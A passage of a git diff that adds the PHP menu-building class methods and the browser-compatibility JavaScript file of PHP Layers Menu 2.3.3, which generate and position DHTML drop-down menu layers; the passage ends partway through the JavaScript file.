+               $this->_hasIcons[$cnt] = false;
+               $this->tree[$cnt]['layer_label'] = "L$cnt";
+               $current_node[$this->tree[$cnt]['level']] = $cnt;
+               if (!$this->tree[$cnt]['child_of_root_node']) {
+                       $this->tree[$cnt]['father_node'] = $current_node[$this->tree[$cnt]['level']-1];
+                       $this->father_keys .= ",'L$cnt'";
+                       $this->father_vals .= ",'" . $this->tree[$this->tree[$cnt]['father_node']]['layer_label'] . "'";
+               }
+               $this->tree[$cnt]['not_a_leaf'] = ($this->tree[$cnt+1]['level']>$this->tree[$cnt]['level'] && $cnt<$this->_lastItem[$menu_name]);
+               // if the above condition is true, the node is not a leaf,
+               // hence it has at least a child; if it is false, the node is a leaf
+               if ($this->tree[$cnt]['not_a_leaf']) {
+                       // initialize the corresponding layer content trought a void string
+                       $this->tree[$cnt]['layer_content'] = '';
+                       // the new layer is accounted for in the layers list
+                       $this->listl .= ",'" . $this->tree[$cnt]['layer_label'] . "'";
+               }
+/*
+               if ($this->tree[$cnt]['not_a_leaf']) {
+                       $this->tree[$cnt]['parsed_href'] = '#';
+               }
+*/
+               if ($this->tree[$cnt]['parsed_icon'] == '') {
+                       $this->tree[$cnt]['iconsrc'] = $this->imgwww . $this->transparentIcon;
+                       $this->tree[$cnt]['iconwidth'] = 16;
+                       $this->tree[$cnt]['iconheight'] = 16;
+                       $this->tree[$cnt]['iconalt'] = ' ';
+               } else {
+                       if ($this->tree[$cnt]['level'] > 1) {
+                               $this->_hasIcons[$this->tree[$cnt]['father_node']] = true;
+                       } else {
+                               $this->_hasIcons[$menu_name] = true;
+                       }
+                       $this->tree[$cnt]['iconsrc'] = $this->tree[$cnt]['parsed_icon'];
+                       $this->tree[$cnt]['iconalt'] = 'O';
+               }
+       }
+}
+
+/**
+* A method needed to update the footer both for horizontal and vertical menus
+* @access private
+* @param string $menu_name the name of the menu for which the updating
+*   has to be performed
+* @return void
+*/
+function _updateFooter(
+       $menu_name = '' // non consistent default...
+       )
+{
+       $t = new Template_PHPLIB();
+       $t->setFile('tplfile', $this->subMenuTpl);
+       $t->setBlock('tplfile', 'template', 'template_blck');
+       $t->setBlock('template', 'sub_menu_cell', 'sub_menu_cell_blck');
+       $t->setVar('sub_menu_cell_blck', '');
+       $t->setBlock('template', 'separator', 'separator_blck');
+       $t->setVar('separator_blck', '');
+       $t->setVar('abscissaStep', $this->abscissaStep);
+
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {
+               if ($this->tree[$cnt]['not_a_leaf']) {
+                       $t->setVar(array(
+                               'layer_label'           => $this->tree[$cnt]['layer_label'],
+                               'layer_title'           => $this->tree[$cnt]['text'],
+                               'sub_menu_cell_blck'    => $this->tree[$cnt]['layer_content']
+                       ));
+                       $this->footer .= $t->parse('template_blck', 'template');
+               }
+       }
+}
+
+/**
+* Method to preparare a horizontal menu.
+*
+* This method processes items of a menu to prepare the corresponding
+* horizontal menu code updating many variables; it returns the code
+* of the corresponding _firstLevelMenu
+*
+* @access public
+* @param string $menu_name the name of the menu whose items have to be processed
+* @return string
+*/
+function newHorizontalMenu(
+       $menu_name = '' // non consistent default...
+       )
+{
+       if (!isset($this->_firstItem[$menu_name]) || !isset($this->_lastItem[$menu_name])) {
+               $this->error("newHorizontalMenu: the first/last item of the menu '$menu_name' is not defined; please check if you have parsed its menu data.");
+               return 0;
+       }
+
+       $this->parseCommon($menu_name);
+
+       $t = new Template_PHPLIB();
+       $t->setFile('tplfile', $this->horizontalMenuTpl);
+       $t->setBlock('tplfile', 'template', 'template_blck');
+       $t->setBlock('template', 'horizontal_menu_cell', 'horizontal_menu_cell_blck');
+       $t->setVar('horizontal_menu_cell_blck', '');
+       $t->setBlock('horizontal_menu_cell', 'cell_link', 'cell_link_blck');
+       $t->setVar('cell_link_blck', '');
+       $t->setBlock('cell_link', 'cell_icon', 'cell_icon_blck');
+       $t->setVar('cell_icon_blck', '');
+       $t->setBlock('cell_link', 'cell_arrow', 'cell_arrow_blck');
+       $t->setVar('cell_arrow_blck', '');
+
+       $t_sub = new Template_PHPLIB();
+       $t_sub->setFile('tplfile', $this->subMenuTpl);
+       $t_sub->setBlock('tplfile', 'sub_menu_cell', 'sub_menu_cell_blck');
+       $t_sub->setVar('sub_menu_cell_blck', '');
+       $t_sub->setBlock('sub_menu_cell', 'cell_icon', 'cell_icon_blck');
+       $t_sub->setVar('cell_icon_blck', '');
+       $t_sub->setBlock('sub_menu_cell', 'cell_arrow', 'cell_arrow_blck');
+       $t_sub->setVar('cell_arrow_blck', '');
+       $t_sub->setBlock('tplfile', 'separator', 'separator_blck');
+       $t_sub->setVar('separator_blck', '');
+
+       $this->_firstLevelMenu[$menu_name] = '';
+
+       $foobar = $this->_firstItem[$menu_name];
+       $this->moveLayers .= "\tvar " . $menu_name . "TOP = getOffsetTop('" . $menu_name . "L" . $foobar . "');\n";
+       $this->moveLayers .= "\tvar " . $menu_name . "HEIGHT = getOffsetHeight('" . $menu_name . "L" . $foobar . "');\n";
+
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {  // this counter scans all nodes of the new menu
+               if ($this->tree[$cnt]['not_a_leaf']) {
+                       // geometrical parameters are assigned to the new layer, related to the above mentioned children
+                       if ($this->tree[$cnt]['child_of_root_node']) {
+                               $this->moveLayers .= "\tsetTop('" . $this->tree[$cnt]['layer_label'] . "', "  . $menu_name . "TOP + " . $menu_name . "HEIGHT);\n";
+                               $this->moveLayers .= "\tmoveLayerX1('" . $this->tree[$cnt]['layer_label'] . "', '" . $menu_name . "');\n";
+                       }
+               }
+
+               if ($this->tree[$cnt]['child_of_root_node']) {
+                       if ($this->tree[$cnt]['text'] == '---') {
+                               continue;
+                       }
+                       if ($this->tree[$cnt]['not_a_leaf']) {
+                               $this->tree[$cnt]['onmouseover'] = ' onmouseover="moveLayerX1(' . "'" . $this->tree[$cnt]['layer_label'] . "', '" . $menu_name . "') ; LMPopUp('" . $this->tree[$cnt]['layer_label'] . "'" . ', false);"';
+                       } else {
+                               $this->tree[$cnt]['onmouseover'] = ' onmouseover="shutdown();"';
+                       }
+                       $t->setVar(array(
+                               'menu_layer_label'      => $menu_name . $this->tree[$cnt]['layer_label'],
+                               'imgwww'                => $this->imgwww,
+                               'transparent'           => $this->transparentIcon,
+                               'href'                  => $this->tree[$cnt]['parsed_href'],
+                               'onmouseover'           => $this->tree[$cnt]['onmouseover'],
+                               'title'                 => $this->tree[$cnt]['parsed_title'],
+                               'target'                => $this->tree[$cnt]['parsed_target'],
+                               'text'                  => $this->tree[$cnt]['text'],
+                               'downsrc'               => $this->downArrowImg['src'],
+                               'downwidth'             => $this->downArrowImg['width'],
+                               'downheight'            => $this->downArrowImg['height']
+                       ));
+                       if ($this->tree[$cnt]['parsed_icon'] != '') {
+                               $t->setVar(array(
+                                       'iconsrc'       => $this->tree[$cnt]['iconsrc'],
+                                       'iconwidth'     => $this->tree[$cnt]['iconwidth'],
+                                       'iconheight'    => $this->tree[$cnt]['iconheight'],
+                                       'iconalt'       => $this->tree[$cnt]['iconalt'],
+                               ));
+                               $t->parse('cell_icon_blck', 'cell_icon');
+                       } else {
+                               $t->setVar('cell_icon_blck', '');
+                       }
+                       if ($this->tree[$cnt]['not_a_leaf']) {
+                               $t->parse('cell_arrow_blck', 'cell_arrow');
+                       } else {
+                               $t->setVar('cell_arrow_blck', '');
+                       }
+                       $foobar = $t->parse('cell_link_blck', 'cell_link');
+                       $t->setVar(array(
+                               'cellwidth'             => $this->abscissaStep,
+                               'cell_link_blck'        => $foobar
+                       ));
+                       $t->parse('horizontal_menu_cell_blck', 'horizontal_menu_cell', true);
+               } else {
+                       if ($this->tree[$cnt]['text'] == '---') {
+                               $this->tree[$this->tree[$cnt]['father_node']]['layer_content'] .= $t_sub->parse('separator_blck', 'separator');
+                               continue;
+                       }
+                       if ($this->tree[$cnt]['not_a_leaf']) {
+                               $this->tree[$cnt]['onmouseover'] = ' onmouseover="moveLayerX(' . "'" . $this->tree[$cnt]['layer_label'] . "') ; moveLayerY('" . $this->tree[$cnt]['layer_label'] . "') ; LMPopUp('" . $this->tree[$cnt]['layer_label'] . "'". ', false);"';
+                       } else {
+                               $this->tree[$cnt]['onmouseover'] = ' onmouseover="LMPopUp(' . "'" . $this->tree[$this->tree[$cnt]['father_node']]['layer_label'] . "'" . ', true);"';
+                       }
+                       $t_sub->setVar(array(
+                               'imgwww'        => $this->imgwww,
+                               'transparent'   => $this->transparentIcon,
+                               'href'          => $this->tree[$cnt]['parsed_href'],
+                               'refid'         => 'ref' . $this->tree[$cnt]['layer_label'],
+                               'onmouseover'   => $this->tree[$cnt]['onmouseover'],
+                               'title'         => $this->tree[$cnt]['parsed_title'],
+                               'target'        => $this->tree[$cnt]['parsed_target'],
+                               'text'          => $this->tree[$cnt]['text'],
+                               'arrowsrc'      => $this->forwardArrowImg['src'],
+                               'arrowwidth'    => $this->forwardArrowImg['width'],
+                               'arrowheight'   => $this->forwardArrowImg['height']
+                       ));
+                       if ($this->_hasIcons[$this->tree[$cnt]['father_node']]) {
+                               $t_sub->setVar(array(
+                                       'iconsrc'       => $this->tree[$cnt]['iconsrc'],
+                                       'iconwidth'     => $this->tree[$cnt]['iconwidth'],
+                                       'iconheight'    => $this->tree[$cnt]['iconheight'],
+                                       'iconalt'       => $this->tree[$cnt]['iconalt']
+                               ));
+                               $t_sub->parse('cell_icon_blck', 'cell_icon');
+                       } else {
+                               $t_sub->setVar('cell_icon_blck', '');
+                       }
+                       if ($this->tree[$cnt]['not_a_leaf']) {
+                               $t_sub->parse('cell_arrow_blck', 'cell_arrow');
+                       } else {
+                               $t_sub->setVar('cell_arrow_blck', '');
+                       }
+                       $this->tree[$this->tree[$cnt]['father_node']]['layer_content'] .= $t_sub->parse('sub_menu_cell_blck', 'sub_menu_cell');
+               }
+       }       // end of the "for" cycle scanning all nodes
+
+       $foobar = $this->_firstLevelCnt[$menu_name] * $this->abscissaStep;
+       $t->setVar('menuwidth', $foobar);
+       $t->setVar(array(
+               'layer_label'   => $menu_name,
+               'menubody'      => $this->_firstLevelMenu[$menu_name]
+       ));
+       $this->_firstLevelMenu[$menu_name] = $t->parse('template_blck', 'template');
+
+       $this->_updateFooter($menu_name);
+
+       return $this->_firstLevelMenu[$menu_name];
+}
+
+/**
+* Method to preparare a vertical menu.
+*
+* This method processes items of a menu to prepare the corresponding
+* vertical menu code updating many variables; it returns the code
+* of the corresponding _firstLevelMenu
+*
+* @access public
+* @param string $menu_name the name of the menu whose items have to be processed
+* @return string
+*/
+function newVerticalMenu(
+       $menu_name = '' // non consistent default...
+       )
+{
+       if (!isset($this->_firstItem[$menu_name]) || !isset($this->_lastItem[$menu_name])) {
+               $this->error("newVerticalMenu: the first/last item of the menu '$menu_name' is not defined; please check if you have parsed its menu data.");
+               return 0;
+       }
+
+       $this->parseCommon($menu_name);
+
+       $t = new Template_PHPLIB();
+       $t->setFile('tplfile', $this->verticalMenuTpl);
+       $t->setBlock('tplfile', 'template', 'template_blck');
+       $t->setBlock('template', 'vertical_menu_box', 'vertical_menu_box_blck');
+       $t->setVar('vertical_menu_box_blck', '');
+       $t->setBlock('vertical_menu_box', 'vertical_menu_cell', 'vertical_menu_cell_blck');
+       $t->setVar('vertical_menu_cell_blck', '');
+       $t->setBlock('vertical_menu_cell', 'cell_icon', 'cell_icon_blck');
+       $t->setVar('cell_icon_blck', '');
+       $t->setBlock('vertical_menu_cell', 'cell_arrow', 'cell_arrow_blck');
+       $t->setVar('cell_arrow_blck', '');
+       $t->setBlock('vertical_menu_box', 'separator', 'separator_blck');
+       $t->setVar('separator_blck', '');
+
+       $t_sub = new Template_PHPLIB();
+       $t_sub->setFile('tplfile', $this->subMenuTpl);
+       $t_sub->setBlock('tplfile', 'sub_menu_cell', 'sub_menu_cell_blck');
+       $t_sub->setVar('sub_menu_cell_blck', '');
+       $t_sub->setBlock('sub_menu_cell', 'cell_icon', 'cell_icon_blck');
+       $t_sub->setVar('cell_icon_blck', '');
+       $t_sub->setBlock('sub_menu_cell', 'cell_arrow', 'cell_arrow_blck');
+       $t_sub->setVar('cell_arrow_blck', '');
+       $t_sub->setBlock('tplfile', 'separator', 'separator_blck');
+       $t_sub->setVar('separator_blck', '');
+
+       $this->_firstLevelMenu[$menu_name] = '';
+
+       $this->moveLayers .= "\tvar " . $menu_name . "TOP = getOffsetTop('" . $menu_name . "');\n";
+       $this->moveLayers .= "\tvar " . $menu_name . "LEFT = getOffsetLeft('" . $menu_name . "');\n";
+       $this->moveLayers .= "\tvar " . $menu_name . "WIDTH = getOffsetWidth('" . $menu_name . "');\n";
+
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {  // this counter scans all nodes of the new menu
+               if ($this->tree[$cnt]['not_a_leaf']) {
+                       // geometrical parameters are assigned to the new layer, related to the above mentioned children
+                       if ($this->tree[$cnt]['child_of_root_node']) {
+                               $this->moveLayers .= "\tsetLeft('" . $this->tree[$cnt]['layer_label'] . "', " . $menu_name . "LEFT + " . $menu_name . "WIDTH - menuRightShift);\n";
+                       }
+               }
+
+               if ($this->tree[$cnt]['child_of_root_node']) {
+                       if ($this->tree[$cnt]['text'] == '---') {
+                               $this->_firstLevelMenu[$menu_name] .= $t->parse('separator_blck', 'separator');
+                               continue;
+                       }
+                       if ($this->tree[$cnt]['not_a_leaf']) {
+                               $this->tree[$cnt]['onmouseover'] = ' onmouseover="moveLayerX(' . "'" . $this->tree[$cnt]['layer_label'] . "') ; moveLayerY('" . $this->tree[$cnt]['layer_label'] . "') ; LMPopUp('" . $this->tree[$cnt]['layer_label'] . "'" . ', false);"';
+                       } else {
+                               $this->tree[$cnt]['onmouseover'] = ' onmouseover="shutdown();"';
+                       }
+                       $t->setVar(array(
+                               'imgwww'        => $this->imgwww,
+                               'transparent'   => $this->transparentIcon,
+                               'href'          => $this->tree[$cnt]['parsed_href'],
+                               'refid'         => 'ref' . $this->tree[$cnt]['layer_label'],
+                               'onmouseover'   => $this->tree[$cnt]['onmouseover'],
+                               'title'         => $this->tree[$cnt]['parsed_title'],
+                               'target'        => $this->tree[$cnt]['parsed_target'],
+                               'text'          => $this->tree[$cnt]['text'],
+                               'arrowsrc'      => $this->forwardArrowImg['src'],
+                               'arrowwidth'    => $this->forwardArrowImg['width'],
+                               'arrowheight'   => $this->forwardArrowImg['height']
+                       ));
+                       if ($this->_hasIcons[$menu_name]) {
+                               $t->setVar(array(
+                                       'iconsrc'       => $this->tree[$cnt]['iconsrc'],
+                                       'iconwidth'     => $this->tree[$cnt]['iconwidth'],
+                                       'iconheight'    => $this->tree[$cnt]['iconheight'],
+                                       'iconalt'       => $this->tree[$cnt]['iconalt']
+                               ));
+                               $t->parse('cell_icon_blck', 'cell_icon');
+                       } else {
+                               $t->setVar('cell_icon_blck', '');
+                       }
+                       if ($this->tree[$cnt]['not_a_leaf']) {
+                               $t->parse('cell_arrow_blck', 'cell_arrow');
+                       } else {
+                               $t->setVar('cell_arrow_blck', '');
+                       }
+                       $this->_firstLevelMenu[$menu_name] .= $t->parse('vertical_menu_cell_blck', 'vertical_menu_cell');
+               } else {
+                       if ($this->tree[$cnt]['text'] == '---') {
+                               $this->tree[$this->tree[$cnt]['father_node']]['layer_content'] .= $t_sub->parse('separator_blck', 'separator');
+                               continue;
+                       }
+                       if ($this->tree[$cnt]['not_a_leaf']) {
+                               $this->tree[$cnt]['onmouseover'] = ' onmouseover="moveLayerX(' . "'" . $this->tree[$cnt]['layer_label'] . "') ; moveLayerY('" . $this->tree[$cnt]['layer_label'] . "') ; LMPopUp('" . $this->tree[$cnt]['layer_label'] . "'" . ', false);"';
+                       } else {
+                               $this->tree[$cnt]['onmouseover'] = ' onmouseover="LMPopUp(' . "'" . $this->tree[$this->tree[$cnt]['father_node']]['layer_label'] . "'" . ', true);"';
+                       }
+                       $t_sub->setVar(array(
+                               'imgwww'        => $this->imgwww,
+                               'transparent'   => $this->transparentIcon,
+                               'href'          => $this->tree[$cnt]['parsed_href'],
+                               'refid'         => 'ref' . $this->tree[$cnt]['layer_label'],
+                               'onmouseover'   => $this->tree[$cnt]['onmouseover'],
+                               'title'         => $this->tree[$cnt]['parsed_title'],
+                               'target'        => $this->tree[$cnt]['parsed_target'],
+                               'text'          => $this->tree[$cnt]['text'],
+                               'arrowsrc'      => $this->forwardArrowImg['src'],
+                               'arrowwidth'    => $this->forwardArrowImg['width'],
+                               'arrowheight'   => $this->forwardArrowImg['height']
+                       ));
+                       if ($this->_hasIcons[$this->tree[$cnt]['father_node']]) {
+                               $t_sub->setVar(array(
+                                       'iconsrc'       => $this->tree[$cnt]['iconsrc'],
+                                       'iconwidth'     => $this->tree[$cnt]['iconwidth'],
+                                       'iconheight'    => $this->tree[$cnt]['iconheight'],
+                                       'iconalt'       => $this->tree[$cnt]['iconalt']
+                               ));
+                               $t_sub->parse('cell_icon_blck', 'cell_icon');
+                       } else {
+                               $t_sub->setVar('cell_icon_blck', '');
+                       }
+                       if ($this->tree[$cnt]['not_a_leaf']) {
+                               $t_sub->parse('cell_arrow_blck', 'cell_arrow');
+                       } else {
+                               $t_sub->setVar('cell_arrow_blck', '');
+                       }
+                       $this->tree[$this->tree[$cnt]['father_node']]['layer_content'] .= $t_sub->parse('sub_menu_cell_blck', 'sub_menu_cell');
+               }
+       }       // end of the "for" cycle scanning all nodes
+
+       $t->setVar(array(
+               'menu_name'                     => $menu_name,
+               'vertical_menu_cell_blck'       => $this->_firstLevelMenu[$menu_name],
+               'separator_blck'                => ''
+       ));
+       $this->_firstLevelMenu[$menu_name] = $t->parse('vertical_menu_box_blck', 'vertical_menu_box');
+       $t->setVar('abscissaStep', $this->abscissaStep);
+       $t->setVar(array(
+               'layer_label'                   => $menu_name,
+               'vertical_menu_box_blck'        => $this->_firstLevelMenu[$menu_name]
+       ));
+       $this->_firstLevelMenu[$menu_name] = $t->parse('template_blck', 'template');
+
+       $this->_updateFooter($menu_name);
+
+       return $this->_firstLevelMenu[$menu_name];
+}
+
+/**
+* Method to prepare the header.
+*
+* This method obtains the header using collected informations
+* and the suited JavaScript template; it returns the code of the header
+*
+* @access public
+* @return string
+*/
+function makeHeader()
+{
+       $t = new Template_PHPLIB();
+       $this->listl = 'listl = [' . substr($this->listl, 1) . '];';
+       $this->father_keys = 'father_keys = [' . substr($this->father_keys, 1) . '];';
+       $this->father_vals = 'father_vals = [' . substr($this->father_vals, 1) . '];';
+       $t->setFile('tplfile', $this->libjsdir . 'layersmenu-header.ijs');
+       $t->setVar(array(
+               'packageName'   => $this->_packageName,
+               'version'       => $this->version,
+               'copyright'     => $this->copyright,
+               'author'        => $this->author,
+               'menuTopShift'  => $this->menuTopShift,
+               'menuRightShift'=> $this->menuRightShift,
+               'menuLeftShift' => $this->menuLeftShift,
+               'thresholdY'    => $this->thresholdY,
+               'abscissaStep'  => $this->abscissaStep,
+               'listl'         => $this->listl,
+               'nodesCount'    => $this->_nodesCount,
+               'father_keys'   => $this->father_keys,
+               'father_vals'   => $this->father_vals,
+               'moveLayers'    => $this->moveLayers
+       ));
+       $this->header = $t->parse('out', 'tplfile');
+       $this->_headerHasBeenMade = true;
+       return $this->header;
+}
+
+/**
+* Method that returns the code of the header
+* @access public
+* @return string
+*/
+function getHeader()
+{
+       if (!$this->_headerHasBeenMade) {
+               $this->makeHeader();
+       }
+       return $this->header;
+}
+
+/**
+* Method that prints the code of the header
+* @access public
+* @return void
+*/
+function printHeader()
+{
+       print $this->getHeader();
+}
+
+/**
+* Method that returns the code of the requested _firstLevelMenu
+* @access public
+* @param string $menu_name the name of the menu whose _firstLevelMenu
+*   has to be returned
+* @return string
+*/
+function getMenu($menu_name)
+{
+       return $this->_firstLevelMenu[$menu_name];
+}
+
+/**
+* Method that prints the code of the requested _firstLevelMenu
+* @access public
+* @param string $menu_name the name of the menu whose _firstLevelMenu
+*   has to be printed
+* @return void
+*/
+function printMenu($menu_name)
+{
+       print $this->_firstLevelMenu[$menu_name];
+}
+
+/**
+* Method to prepare the footer.
+*
+* This method obtains the footer using collected informations
+* and the suited JavaScript template; it returns the code of the footer
+*
+* @access public
+* @return string
+*/
+function makeFooter()
+{
+       $t = new Template_PHPLIB();
+       $t->setFile('tplfile', $this->libjsdir . 'layersmenu-footer.ijs');
+       $t->setVar(array(
+               'packageName'   => $this->_packageName,
+               'version'       => $this->version,
+               'copyright'     => $this->copyright,
+               'author'        => $this->author,
+               'footer'        => $this->footer
+               
+       ));
+       $this->footer = $t->parse('out', 'tplfile');
+       $this->_footerHasBeenMade = true;
+       return $this->footer;
+}
+
+/**
+* Method that returns the code of the footer
+* @access public
+* @return string
+*/
+function getFooter()
+{
+       if (!$this->_footerHasBeenMade) {
+               $this->makeFooter();
+       }
+       return $this->footer;
+}
+
+/**
+* Method that prints the code of the footer
+* @access public
+* @return void
+*/
+function printFooter()
+{
+       print $this->getFooter();
+}
+
+} /* END OF CLASS */
+
+?>
diff --git a/lib/layersmenu.js b/lib/layersmenu.js
new file mode 100755 (executable)
index 0000000..7d2e0e3
--- /dev/null
@@ -0,0 +1,454 @@
+// PHP Layers Menu 2.3.3 (C) 2001-2003 Marco Pratesi (marco at telug dot it)
+
+loaded = 0;
+movedlayers = 0;
+
+menuxleftshift = 6;
+menuxrightshift = 10;
+
+currentY = 0;
+function grabMouse(e) {        // for NS4
+       currentY = e.pageY;
+}
+if (NS4) {
+       document.captureEvents(Event.MOUSEDOWN | Event.MOUSEMOVE);
+       document.onmousemove = grabMouse;
+}
+
+function shutdown() {
+       for (i=1; i<=numl; i++) {
+               popUpL(listl[i], false);
+       }
+}
+if (NS4) {
+       document.onmousedown = shutdown;
+} else {
+       document.onclick = shutdown;
+}
+
+function resizeHandler() {
+       if (NS4) {
+               window.location.reload();
+       }
+       shutdown();
+       for (i=1; i<=numl; i++) {
+               setleft(listl[i], 0);
+               settop(listl[i], 0);
+       }
+//     moveLayers();
+       movedlayers = 0;
+}
+window.onresize = resizeHandler;
+
+function yaresizeHandler() {
+       if (window.innerWidth != origWidth || window.innerHeight != origHeight) {
+               if (Konqueror2 || Opera5) {
+                       window.location.reload();       // Opera 5 often fails this
+               }
+               origWidth  = window.innerWidth;
+               origHeight = window.innerHeight;
+               resizeHandler();
+       }
+       setTimeout('yaresizeHandler()', 500);
+}
+function loadHandler() {
+       if (Konqueror2 || Opera56) {
+               origWidth  = window.innerWidth;
+               origHeight = window.innerHeight;
+               yaresizeHandler();
+       }
+}
+window.onload = loadHandler;
+
+function setX(menuName) {
+       if (father[menuName] != "") {
+               if (!Opera5 && !IE4) {
+                       width0 = lwidth[father[menuName]];
+                       width1 = lwidth[menuName];
+               } else if (Opera5) {
+                       // Opera 5 stupidly and exaggeratedly overestimates layers widths
+                       // hence we consider a default value equal to $abscissa_step
+                       width0 = abscissa_step;
+                       width1 = abscissa_step;
+               } else if (IE4) {
+                       width0 = getoffsetwidth(father[menuName]);
+                       width1 = getoffsetwidth(menuName);
+               }
+               onleft = getoffsetleft(father[menuName]) - width1 + menuxleftshift;
+               onright = getoffsetleft(father[menuName]) + width0 - menuxrightshift;
+               windowwidth = getwindowwidth();
+               windowxoffset = getwindowxoffset();
+               if (NS4 && !DOM) {
+                       windowxoffset = 0;
+               }
+               if (onleft < windowxoffset && onright + width1 > windowwidth + windowxoffset) {
+                       if (onright + width1 - windowwidth - windowxoffset > windowxoffset - onleft) {
+                               onleft = windowxoffset;
+                       } else {
+                               onright = windowwidth + windowxoffset - width1;
+                       }
+               }
+               if (back[father[menuName]]) {
+                       if (onleft < windowxoffset) {
+                               back[menuName] = 0;
+                       } else {
+                               back[menuName] = 1;
+                       }
+               } else {
+//alert(onright + " - " + width1 + " - " +  windowwidth + " - " + windowxoffset);
+                       if (onright + width1 > windowwidth + windowxoffset) {
+                               back[menuName] = 1;
+                       } else {
+                               back[menuName] = 0;
+                       }
+               }
+               if (back[menuName]) {
+                       setleft(menuName, onleft);
+               } else {
+                       setleft(menuName, onright);
+               }
+       }
+}
+
+function moveLayerY(menuName, ordinate_margin) {
+if (loaded) {
+       if (!movedlayers) {
+               moveLayers();
+               movedlayers = 1;
+       }
+       if (!NS4) {
+               newY = getoffsettop("ref" + menuName);
+       } else {
+               newY = currentY;
+       }
+       newY -= ordinate_margin;
+       layerheight = getoffsetheight(menuName);
+       windowheight = getwindowheight();
+       windowyoffset = getwindowyoffset();
+       if (newY + layerheight > windowheight + windowyoffset) {
+               if (layerheight > windowheight) {
+                       newY = windowyoffset;
+               } else {
+                       newY = windowheight + windowyoffset - layerheight;
+               }
+       }
+       if (Math.abs(getoffsettop(menuName) - newY) > thresholdY) {
+               settop(menuName, newY);
+       }
+}
+}
+
+function popUp(menuName) {
+       shutdown();
+       setX(menuName);
+       do {
+               popUpL(menuName,true);
+               menuName = father[menuName];
+       } while (menuName != "")
+}
+
+function popUpL(menuName,on) {
+       if (loaded) {
+               if (!movedlayers) {
+                       moveLayers();
+                       movedlayers = 1;
+               }
+
+               if (on) {
+//                     moveLayers();
+                       if (DOM) {
+                               document.getElementById(menuName).style.visibility = "visible";
+                       } else if (NS4) {
+                               document.layers[menuName].visibility = "show";
+                       } else {
+                               document.all[menuName].style.visibility = "visible";
+                       }
+               } else {
+                       if (DOM) {
+                               document.getElementById(menuName).style.visibility = "hidden";
+                       } else if (NS4) {
+                               document.layers[menuName].visibility = "hide";
+                       } else {
+                               document.all[menuName].style.visibility = "hidden";
+                       }
+               }
+       }
+}
+
+function setleft(layer,x) {
+       if (DOM && !Opera5) {
+               document.getElementById(layer).style.left = x + "px";
+       } else if (Opera5) {
+               document.getElementById(layer).style.left = x;
+       } else if (NS4) {
+               document.layers[layer].left = x;
+       } else {
+               document.all[layer].style.pixelLeft = x;
+       }
+}
+
+function getoffsetleft(layer) {
+       var value = 0;
+       if (DOM) {      // Mozilla, Konqueror >= 2.2, Opera >= 5, IE
+                       // timing problems with Konqueror 2.1 ?
+               object = document.getElementById(layer);
+               value = object.offsetLeft;
+//alert (object.tagName + " --- " + object.offsetLeft);
+               while (object.tagName != "BODY" && object.offsetParent) {
+                       object = object.offsetParent;
+//alert (object.tagName + " --- " + object.offsetLeft);
+                       value += object.offsetLeft;
+               }
+       } else if (NS4) {
+               value = document.layers[layer].pageX;
+       } else {        // IE4 IS SIMPLY A BASTARD !!!
+               if (document.all["IE4" + layer]) {
+                       layer = "IE4" + layer;
+               }
+               object = document.all[layer];
+               value = object.offsetLeft;
+               while (object.tagName != "BODY") {
+                       object = object.offsetParent;
+                       value += object.offsetLeft;
+               }
+       }
+       return (value);
+}
+
+function settop(layer,y) {
+       if (DOM && !Opera5) {
+               document.getElementById(layer).style.top = y + "px";
+       } else if (Opera5) {
+               document.getElementById(layer).style.top = y;
+       } else if (NS4) {
+               document.layers[layer].top = y;
+       } else {
+               document.all[layer].style.pixelTop = y;
+       }
+}
+
+function getoffsettop(layer) {
+// IE 5.5 and 6.0 behaviour with this function is really strange:
+// in some cases, they return a really too large value...
+// ... after all, IE is buggy, nothing new
+       var value = 0;
+       if (DOM) {
+               object = document.getElementById(layer);
+               value = object.offsetTop;
+               while (object.tagName != "BODY" && object.offsetParent) {
+                       object = object.offsetParent;
+                       value += object.offsetTop;
+               }
+       } else if (NS4) {
+               value = document.layers[layer].pageY;
+       } else {        // IE4 IS SIMPLY A BASTARD !!!
+               if (document.all["IE4" + layer]) {
+                       layer = "IE4" + layer;
+               }
+               object = document.all[layer];
+               value = object.offsetTop;
+               while (object.tagName != "BODY") {
+                       object = object.offsetParent;
+                       value += object.offsetTop;
+               }
+       }
+       return (value);
+}
+
+function setwidth(layer,w) {
+       if (DOM) {
+               document.getElementById(layer).style.width = w;
+       } else if (NS4) {
+//             document.layers[layer].width = w;
+       } else {
+               document.all[layer].style.pixelWidth = w;
+       }
+}
+
+function getoffsetwidth(layer) {
+       var value = 0;
+       if (DOM && !Opera56) {
+               value = document.getElementById(layer).offsetWidth;
+               if (isNaN(value)) {
+               // e.g. undefined on Konqueror 2.1
+                       value = abscissa_step;
+               }
+       } else if (NS4) {
+               value = document.layers[layer].document.width;
+       } else if (Opera56) {
+               value = document.getElementById(layer).style.pixelWidth;
+       } else {        // IE4 IS SIMPLY A BASTARD !!!
+               if (document.all["IE4" + layer]) {
+                       layer = "IE4" + layer;
+               }
+               value = document.all[layer].offsetWidth;
+       }
+       return (value);
+}
+
+function setheight(layer,h) {  // unused, not tested
+       if (DOM) {
+               document.getElementById(layer).style.height = h;
+       } else if (NS4) {
+//             document.layers[layer].height = h;
+       } else {
+               document.all[layer].style.pixelHeight = h;
+       }
+}
+
+function getoffsetheight(layer) {
+       var value = 0;
+       if (DOM && !Opera56) {
+               value = document.getElementById(layer).offsetHeight;
+               if (isNaN(value)) {
+               // e.g. undefined on Konqueror 2.1
+                       value = 25;
+               }
+       } else if (NS4) {
+               value = document.layers[layer].document.height;
+       } else if (Opera56) {
+               value = document.getElementById(layer).style.pixelHeight;
+       } else {        // IE4 IS SIMPLY A BASTARD !!!
+               if (document.all["IE4" + layer]) {
+                       layer = "IE4" + layer;
+               }
+               value = document.all[layer].offsetHeight;
+       }
+       return (value);
+}
+
+function getwindowwidth() {
+       var value = 0;
+       if ((DOM && !IE) || Konqueror || Opera) {
+               value = top.innerWidth;
+       } else if (NS4) {
+               value = document.width;
+       } else {        // IE
+               if (document.documentElement && document.documentElement.clientWidth) {
+                       value = document.documentElement.clientWidth;
+               } else if (document.body) {
+                       value = document.body.clientWidth;
+               }
+       }
+       if (isNaN(value)) {
+               value = top.innerWidth;
+       }
+       return (value);
+}
+
+function getwindowxoffset() {
+       var value;
